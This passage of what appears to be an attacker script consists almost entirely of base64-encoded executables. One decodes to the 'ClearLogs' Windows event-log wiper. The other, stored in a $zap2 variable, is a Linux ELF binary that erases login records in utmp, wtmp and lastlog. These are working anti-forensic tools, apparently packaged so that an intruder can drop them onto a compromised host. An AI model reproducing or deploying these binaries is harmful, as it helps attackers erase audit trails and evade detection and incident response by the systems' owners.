AAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAACiBAABQ2QAAAAAAAAAAAAK8gQAAAAAAAAAAAAAAAAAAAAAAA\r\nU3VjY2VzczogVGhlIGxvZyBoYXMgYmVlbiBjbGVhcmVkCgAARXJyb3I6IFVuYWJsZSB0byBjbGVh\r\nciBsb2cgLSAAAAAlcwoARXJyb3I6IFVuYWJsZSB0byBvcGVuIGxvZyAtIAAAAAAgICAgICAgIC1z\r\neXMgPSBzeXN0ZW0gbG9nCgAAICAgICAgICAtc2VjID0gc2VjdXJpdHkgbG9nCgAAAAAgICAgICAg\r\nIC1hcHAgPSBhcHBsaWNhdGlvbiBsb2cKACBVc2FnZTogY2xlYXJsb2dzIFtcXGNvbXB1dGVybmFt\r\nZV0gPC1hcHAgLyAtc2VjIC8gLXN5cz4KCgAAAFN5c3RlbQAALXN5cwAAAABTZWN1cml0eQAAAAAt\r\nc2VjAAAAAEFwcGxpY2F0aW9uAC1hcHAAAAAAICAgICAgICAgICAgICAtIGh0dHA6Ly9udHNlY3Vy\r\naXR5Lm51L3Rvb2xib3gvY2xlYXJsb2dzLwoKAAAAQ2xlYXJMb2dzIDEuMCAtIChjKSAyMDAyLCBB\r\ncm5lIFZpZHN0cm9tIChhcm5lLnZpZHN0cm9tQG50c2VjdXJpdHkubnUpCgAACgAAAA4UQAABAAAA\r\nOFFAAChRQADAcUAAAAAAAMBxQAABAQAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAB\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAwAsAAAAAAAAAHQAAwAQAAAAAAAAAlgAAwAQAAAAAAAAA\r\njQAAwAgAAAAAAAAAjgAAwAgAAAAAAAAAjwAAwAgAAAAAAAAAkAAAwAgAAAAAAAAAkQAAwAgAAAAA\r\nAAAAkgAAwAgAAAAAAAAAkwAAwAgAAAAAAAAAAwAAAAcAAAAKAAAAjAAAAP////8ACgAAEAAAACAF\r\nkxkAAAAAAAAAAAAAAAAAAAAAAgAAAKRTQAAIAAAAeFNAAAkAAABMU0AACgAAAChTQAAQAAAA/FJA\r\nABEAAADMUkAAEgAAAKhSQAATAAAAfFJAABgAAABEUkAAGQAAABxSQAAaAAAA5FFAABsAAACsUUAA\r\nHAAAAIRRQAB4AAAAdFFAAHkAAABkUUAAegAAAFRRQAD8AAAAUFFAAP8AAABAUUAAAAAAAAAAAABW\r\nREAAVkRAAFZEQABWREAAVkRAAFZEQADiZUAA4mVAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgA\r\nKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQ\r\nABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEA\r\ngQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACC\r\nAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAA\r\nEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAECBAgAAAAApAMA\r\nAGCCeYIhAAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAA\r\nAACB/gAAAAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkA\r\nADF+gf4AAAAAAAAAAAAAAAD4AwAAAQAAAC4AAAABAAAAAQAAABYAAAACAAAAAgAAAAMAAAACAAAA\r\nBAAAABgAAAAFAAAADQAAAAYAAAAJAAAABwAAAAwAAAAIAAAADAAAAAkAAAAMAAAACgAAAAcAAAAL\r\nAAAACAAAAAwAAAAWAAAADQAAABYAAAAPAAAAAgAAABAAAAANAAAAEQAAABIAAAASAAAAAgAAACEA\r\nAAANAAAANQAAAAIAAABBAAAADQAAAEMAAAACAAAAUAAAABEAAABSAAAADQAAAFMAAAANAAAAVwAA\r\nABYAAABZAAAACwAAAGwAAAANAAAAbQAAACAAAABwAAAAHAAAAHIAAAAJAAAABgAAABYAAACAAAAA\r\nCgAAAIEAAAAKAAAAggAAAAkAAACDAAAAFgAAAIQAAAANAAAAkQAAACkAAACeAAAADQAAAKEAAAAC\r\nAAAApAAAAAsAAACnAAAADQAAALcAAAARAAAAzgAAAAIAAADXAAAACwAAABgHAAAMAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAA==\";\r\n\r\n\r\n\$zap2=\"f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAcIQECDQAAABEDAAAAAAAADQAIAAHACgAGwAYAAYAAAA0\r\nAAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEA\r\nAAABAAAAAAAAAACABAgAgAQIowkAAKMJAAAFAAAAABAAAAEAAACkCQAApJkECKSZBAgoAQAAMAEA\r\nAAYAAAAAEAAAAgAAALQJAAC0mQQItJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQI\r\nIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1s\r\naW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAAAMAAAAOAAAADQAAAAwA\r\nAAALAAAAAAAAAAAAAAABAAAAAAAAAAAAAAADAAAABAAAAAUAAAAGAAAAAgAAAAkAAAAIAAAABwAA\r\nAAoAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAB8AAAAEgAAAGcAAAAAAAAAcQAAABIAAABbAAAA\r\nAAAAAB0AAAASAAAAKQAAAAAAAACsAAAAEgAAAEkAAAAAAAAA1QAAABIAAAALAAAAAAAAACkAAAAS\r\nAAAAEgAAAAAAAAA8AAAAEgAAAGIAAAAAAAAAfAAAABIAAAAYAAAAAAAAADAAAAASAAAAMQAAAAAA\r\nAAD/AAAAEgAAADoAAABgiQQIBAAAABEADgAkAAAAAAAAAHwAAAASAAAAbQAAAAAAAAAAAAAAIAAA\r\nAABsaWJjLnNvLjYAcHJpbnRmAGxzZWVrAGJ6ZXJvAHdyaXRlAHJlYWQAc3RybmNtcABnZXRwd25h\r\nbQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBzdHJsZW4Ab3BlbgBjbG9zZQBfX2dt\r\nb25fc3RhcnRfXwBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABAAEA\r\nAAAQAAAAAAAAABBpaQ0AAAIAfAAAAAAAAADImgQIBg0AAJyaBAgHAQAAoJoECAcCAACkmgQIBwMA\r\nAKiaBAgHBAAArJoECAcFAACwmgQIBwYAALSaBAgHBwAAuJoECAcIAAC8mgQIBwkAAMCaBAgHCgAA\r\nxJoECAcMAABVieWD7Ajo8QAAAOhMAQAA6G8FAADJwwD/NZSaBAj/JZiaBAgAAAAA/yWcmgQIaAAA\r\nAADp4P////8loJoECGgIAAAA6dD/////JaSaBAhoEAAAAOnA/////yWomgQIaBgAAADpsP////8l\r\nrJoECGggAAAA6aD/////JbCaBAhoKAAAAOmQ/////yW0mgQIaDAAAADpgP////8luJoECGg4AAAA\r\n6XD/////JbyaBAhoQAAAAOlg/////yXAmgQIaEgAAADpUP////8lxJoECGhQAAAA6UD///8x7V6J\r\n4YPk8FBUUmjYiAQIaJCIBAhRVmgaiAQI6G/////0kJBVieVT6AAAAABbgcPzFQAAUIuDOAAAAIXA\r\ndAL/0Itd/MnDkJBVieWD7AiAPcyaBAgAdSmhrJkECIsQhdJ0F4n2g8AEo6yZBAj/0qGsmQQIixCF\r\n0nXrxgXMmgQIAcnDifZVieWD7AihjJoECIXAdBm4AAAAAIXAdBCD7AxojJoECOjnevv3g8QQycOQ\r\nkFWJ5YHsiAEAAIPsCGoCaGSJBAjo+P7//4PEEKPQmgQIgz3QmgQIAA+IsgAAAIPsBGiAAQAAjYV4\r\n/v//UP810JoECOj5/v//g8QQhcB/Aut+g+wM/3UI6GX+//+DxBCJwo2FeP7//4PALIPsBFL/dQhQ\r\n6Fr+//+DxBCFwHWwg+wIaIABAACNhXj+//9Q6I/+//+DxBCD7ARqAWiA/v///zXQmgQI6Ff+//+D\r\nxBCD7ARogAEAAI2FeP7//1D/NdCaBAjo2v3//4PEEOlf////g+wM/zXQmgQI6NT9//+DxBDJw1WJ\r\n5YHsmAEAAMeFdP7//wEAAACD7AhqAmhuiQQI6A3+//+DxBCj0JoECIM90JoECAAPiBMBAACDvXT+\r\n////dQXp9AAAAIPsBGoCi5V0/v//idDR4AHQweAH99hQ/zXQmgQI6Lj9//+DxBCD7ARogAEAAI2F\r\neP7//1D/NdCaBAjo2/3//4PEEIXAeQzHhXT+////////66CD7Az/dQjoPf3//4PEEInCjYV4/v//\r\ng8Asg+wEUv91CFDoMv3//4PEEIXAdWiD7AhogAEAAI2FeP7//1DoZ/3//4PEEIPsBGoCi5V0/v//\r\nidDR4AHQweAH99hQ/zXQmgQI6CL9//+DxBCD7ARogAEAAI2FeP7//1D/NdCaBAjopfz//4PEEMeF\r\ndP7////////pC////42FdP7///8A6f7+//+D7Az/NdCaBAjoiPz//4PEEMnDVYnlgexIAQAAg+wM\r\n/3UI6O/8//+DxBCJRfSDffQAD4SUAAAAg+wIagJofIkECOiw/P//g8QQo9CaBAiDPdCaBAgAD4iD\r\nAAAAg+wEagCLRfSLUAiJ0MHgAwHQweADAdDB4AJQ/zXQmgQI6GX8//+DxBCD7AhoJAEAAI2FuP7/\r\n/1Dobvz//4PEEIPsBGgkAQAAjYW4/v//UP810JoECOjR+///g8QQg+wM/zXQmgQI6ND7//+DxBDr\r\nE4PsCP91CGiNiQQI6Pv7//+DxBDJw1WJ5YPsCIPk8LgAAAAAKcSDfQgCdUuD7AyLRQyDwAT/MOgN\r\n////g8QQg+wMi0UMg8AE/zDorv3//4PEEIPsDItFDIPABP8w6Lr8//+DxBCD7AxolIkECOia+///\r\ng8QQ6xCD7Axom4kECOiI+///g8QQycOQkJBVieVXVlOD7AzoAAAAAFuBw/IRAADo7vr//42TFP//\r\n/42LFP///ynKMfbB+gI51nMPideQ/5SzFP///0Y5/nL0g8QMW15fycNVieVWU+gAAAAAW4HDrhEA\r\nAI2LFP///42DFP///ynBwfkChcmNcf91C+g6AAAAW17Jw4n2/5SzFP///4nyToXSdfLr5VWJ5VNS\r\noXyaBAiD+P+7fJoECHQMg+sE/9CLA4P4/3X0WFvJw1WJ5VPoAAAAAFuBw0cRAABS6GL7//+LXfzJ\r\nwwADAAAAAQACAC9ldGMvdXRtcAAvdXNyL2FkbS93dG1wAC91c3IvYWRtL2xhc3Rsb2cAJXM6ID8K\r\nAFphcDIhCgBFcnJvci4KAAAAAAAAAAAAAIiaBAgAAAAAAQAAAAEAAAAMAAAAmIMECA0AAABAiQQI\r\nBAAAAEiBBAgFAAAAdIIECAYAAACUgQQICgAAAIYAAAALAAAAEAAAABUAAAAAAAAAAwAAAJCaBAgC\r\nAAAAWAAAABQAAAARAAAAFwAAAECDBAgRAAAAOIMECBIAAAAIAAAAEwAAAAgAAAD+//9vGIMECP//\r\n/28BAAAA8P//b/qCBAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAD/////AAAAAP////8AAAAAAAAAALSZBAgAAAAAAAAAAMaDBAjWgwQI5oMECPaDBAgGhAQI\r\nFoQECCaEBAg2hAQIRoQECFaEBAhmhAQIAAAAAABHQ0M6IChHTlUpIDMuMy4zIChyZWxlYXNlKQAA\r\nR0NDOiAoR05VKSAzLjMuMyAocmVsZWFzZSkAAEdDQzogKEdOVSkgMy4zLjMgKHJlbGVhc2UpAABH\r\nQ0M6IChHTlUpIDMuMy4zIChyZWxlYXNlKQAAR0NDOiAoR05VKSAzLjMuMyAocmVsZWFzZSkAAEdD\r\nQzogKEdOVSkgMy4zLjMgKHJlbGVhc2UpAAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5pbnRl\r\ncnAALm5vdGUuQUJJLXRhZwAuaGFzaAAuZHluc3ltAC5keW5zdHIALmdudS52ZXJzaW9uAC5nbnUu\r\ndmVyc2lvbl9yAC5yZWwuZHluAC5yZWwucGx0AC5pbml0AC50ZXh0AC5maW5pAC5yb2RhdGEALmRh\r\ndGEALmVoX2ZyYW1lAC5keW5hbWljAC5jdG9ycwAuZHRvcnMALmpjcgAuZ290AC5ic3MALmNvbW1l\r\nbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAA\r\nFIEECBQBAAATAAAAAAAAAAAAAAABAAAAAAAAACMAAAAHAAAAAgAAACiBBAgoAQAAIAAAAAAAAAAA\r\nAAAABAAAAAAAAAAxAAAABQAAAAIAAABIgQQISAEAAEwAAAAEAAAAAAAAAAQAAAAEAAAANwAAAAsA\r\nAAACAAAAlIEECJQBAADgAAAABQAAAAEAAAAEAAAAEAAAAD8AAAADAAAAAgAAAHSCBAh0AgAAhgAA\r\nAAAAAAAAAAAAAQAAAAAAAABHAAAA////bwIAAAD6ggQI+gIAABwAAAAEAAAAAAAAAAIAAAACAAAA\r\nVAAAAP7//28CAAAAGIMECBgDAAAgAAAABQAAAAEAAAAEAAAAAAAAAGMAAAAJAAAAAgAAADiDBAg4\r\nAwAACAAAAAQAAAAAAAAABAAAAAgAAABsAAAACQAAAAIAAABAgwQIQAMAAFgAAAAEAAAACwAAAAQA\r\nAAAIAAAAdQAAAAEAAAAGAAAAmIMECJgDAAAXAAAAAAAAAAAAAAAEAAAAAAAAAHAAAAABAAAABgAA\r\nALCDBAiwAwAAwAAAAAAAAAAAAAAABAAAAAQAAAB7AAAAAQAAAAYAAABwhAQIcAQAANAEAAAAAAAA\r\nAAAAAAQAAAAAAAAAgQAAAAEAAAAGAAAAQIkECEAJAAAbAAAAAAAAAAAAAAAEAAAAAAAAAIcAAAAB\r\nAAAAAgAAAFyJBAhcCQAARwAAAAAAAAAAAAAABAAAAAAAAACPAAAAAQAAAAMAAACkmQQIpAkAAAwA\r\nAAAAAAAAAAAAAAQAAAAAAAAAlQAAAAEAAAACAAAAsJkECLAJAAAEAAAAAAAAAAAAAAAEAAAAAAAA\r\nAJ8AAAAGAAAAAwAAALSZBAi0CQAAyAAAAAUAAAAAAAAABAAAAAgAAACoAAAAAQAAAAMAAAB8mgQI\r\nfAoAAAgAAAAAAAAAAAAAAAQAAAAAAAAArwAAAAEAAAADAAAAhJoECIQKAAAIAAAAAAAAAAAAAAAE\r\nAAAAAAAAALYAAAABAAAAAwAAAIyaBAiMCgAABAAAAAAAAAAAAAAABAAAAAAAAAC7AAAAAQAAAAMA\r\nAACQmgQIkAoAADwAAAAAAAAAAAAAAAQAAAAEAAAAwAAAAAgAAAADAAAAzJoECMwKAAAIAAAAAAAA\r\nAAAAAAAEAAAAAAAAAMUAAAABAAAAAAAAAAAAAADMCgAAqAAAAAAAAAAAAAAAAQAAAAAAAAARAAAA\r\nAwAAAAAAAAAAAAAAdAsAAM4AAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAHwQAAAg\r\nBQAAGgAAACsAAAAEAAAAEAAAAAkAAAADAAAAAAAAAAAAAACcFQAA9gIAAAAAAAAAAAAAAQAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAABSBBAgAAAAAAwABAAAAAAAogQQIAAAAAAMAAgAAAAAASIEE\r\nCAAAAAADAAMAAAAAAJSBBAgAAAAAAwAEAAAAAAB0ggQIAAAAAAMABQAAAAAA+oIECAAAAAADAAYA\r\nAAAAABiDBAgAAAAAAwAHAAAAAAA4gwQIAAAAAAMACAAAAAAAQIMECAAAAAADAAkAAAAAAJiDBAgA\r\nAAAAAwAKAAAAAACwgwQIAAAAAAMACwAAAAAAcIQECAAAAAADAAwAAAAAAECJBAgAAAAAAwANAAAA\r\nAABciQQIAAAAAAMADgAAAAAApJkECAAAAAADAA8AAAAAALCZBAgAAAAAAwAQAAAAAAC0mQQIAAAA\r\nAAMAEQAAAAAAfJoECAAAAAADABIAAAAAAISaBAgAAAAAAwATAAAAAACMmgQIAAAAAAMAFAAAAAAA\r\nkJoECAAAAAADABUAAAAAAMyaBAgAAAAAAwAWAAAAAAAAAAAAAAAAAAMAFwAAAAAAAAAAAAAAAAAD\r\nABgAAAAAAAAAAAAAAAAAAwAZAAAAAAAAAAAAAAAAAAMAGgABAAAAlIQECAAAAAACAAwAEQAAAAAA\r\nAAAAAAAABADx/xwAAAB8mgQIAAAAAAEAEgAqAAAAhJoECAAAAAABABMAOAAAAIyaBAgAAAAAAQAU\r\nAEUAAACsmQQIAAAAAAEADwBJAAAAzJoECAEAAAABABYAVQAAALiEBAgAAAAAAgAMAGsAAAD0hAQI\r\nAAAAAAIADAARAAAAAAAAAAAAAAAEAPH/dwAAAICaBAgAAAAAAQASAIQAAACImgQIAAAAAAEAEwCR\r\nAAAAsJkECAAAAAABABAAnwAAAIyaBAgAAAAAAQAUAKsAAAAciQQIAAAAAAIADADBAAAAAAAAAAAA\r\nAAAEAPH/yAAAALSZBAgAAAAAEQARANEAAADQmgQIBAAAABEAFgDTAAAAAAAAAHwAAAASAAAA5AAA\r\nAAAAAABxAAAAEgAAAPUAAABciQQIBAAAABEADgD8AAAApJkECAAAAAAQAvH/DQEAACCFBAjhAAAA\r\nEgAMABcBAAComQQIAAAAABECDwAkAQAA2IgECEQAAAASAAwANAEAAJiDBAgAAAAAEgAKADoBAABw\r\nhAQIAAAAABIADABBAQAAAAAAAB0AAAASAAAAUwEAAAAAAACsAAAAEgAAAGYBAACkmQQIAAAAABAC\r\n8f95AQAAkIgECEgAAAASAAwAiQEAAMyaBAgAAAAAEADx/5UBAAAaiAQIcwAAABIADACaAQAAAAAA\r\nANUAAAASAAAAtwEAAKSZBAgAAAAAEALx/8gBAACkmQQIAAAAACAADwDTAQAAAAAAACkAAAASAAAA\r\n5QEAAECJBAgAAAAAEgANAOsBAAAAAAAAPAAAABIAAAD8AQAApJkECAAAAAAQAvH/EAIAAAAAAAB8\r\nAAAAEgAAACACAAAAAAAAMAAAABIAAAAxAgAAAAAAAP8AAAASAAAARQIAAMyaBAgAAAAAEADx/0wC\r\nAACQmgQIAAAAABEAFQBiAgAA1JoECAAAAAAQAPH/ZwIAAKSZBAgAAAAAEALx/3oCAABgiQQIBAAA\r\nABEADgCJAgAAAYYECEwBAAASAAwAkwIAAKSZBAgAAAAAEAAPAKACAAAAAAAAAAAAACAAAAC0AgAA\r\npJkECAAAAAAQAvH/ygIAAAAAAAB8AAAAEgAAANoCAABNhwQIzQAAABIADADnAgAAAAAAAAAAAAAg\r\nAAAAAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1Rf\r\nXwBfX0pDUl9MSVNUX18AcC4wAGNvbXBsZXRlZC4xAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFt\r\nZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fR